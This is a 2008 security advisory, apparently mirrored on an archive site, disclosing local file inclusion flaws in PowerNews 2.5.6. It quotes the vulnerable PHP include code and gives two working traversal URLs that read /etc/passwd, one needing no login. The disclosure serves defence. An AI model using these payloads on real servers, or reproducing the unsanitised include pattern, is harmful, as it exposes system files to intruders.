AOH :: HP Unsorted P :: BX1779.HTM

PowerNews (Newsscript) 2.5.6 multiple LFI ]



Multiple LFI in PowerNews (Newsscript) 2.5.6
Multiple LFI in PowerNews (Newsscript) 2.5.6




Digital Security Research Group [DSecRG] Advisory       #DSECRG-08-014


Application:                    PowerNews (Newsscript)
Versions Affected:              2.5.6
Vendor URL: http://www.powerscripts.org/ 
Bug:                            Multiple Local File Include
Exploits:                       YES
Reported:                       01.02.2008
Vendor Response:                none
Solution:                       none
Date of Public Advisory:        08.02.2008
Authors:                        Alexandr Polyakov, Stas Svistunovich
                                Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)



Description
***********

PowerNews (Newsscript) has Multiple Local File Include vulnerabilities.


1. Local File Include vulnerabilities found in scripts: 

pnadmin/categories.inc.php
pnadmin/news.inc.php
pnadmin/other.inc.php
pnadmin/permissions.inc.php
pnadmin/templates.inc.php
pnadmin/users.inc.php

Non-authentication user can directly access to this scripts.

Code
****
#################################################

  if ($_GET[subpage]) {
    if (file_exists($_GET[page]."_".$_GET[subpage].".inc.php")) {
      include($_GET[page]."_".$_GET[subpage].".inc.php");
    } else {
      ?>
http://[server]/[installdir]/pnadmin/categories.inc.php?subpage=../../../../../../../../../../../../../etc/passwd%00 2. Local File Include vulnerability found in script pnadmin/index.php in admin area. Administrator can include local files. Code **** ################################################# if ($pnloggedin != "YES") { include("login.inc.php"); } else { if (!$_GET[page]) { $_GET[page] = "main"; } if (file_exists($_GET[page].".inc.php")) { include($_GET[page].".inc.php"); } else { ################################################# Example: http://[server]/[installdir]/pnadmin/index.php?page=../../../../../../../../../../../../../etc/passwd%00 About ***** Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website. Contact: research [at] dsec [dot] ru http://www.dsec.ru (in Russian)

The entire AOH site is optimized to look best in Firefox® 3 on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH
We do not send spam. If you have received spam bearing an artofhacking.com email address, please forward it with full headers to abuse@artofhacking.com.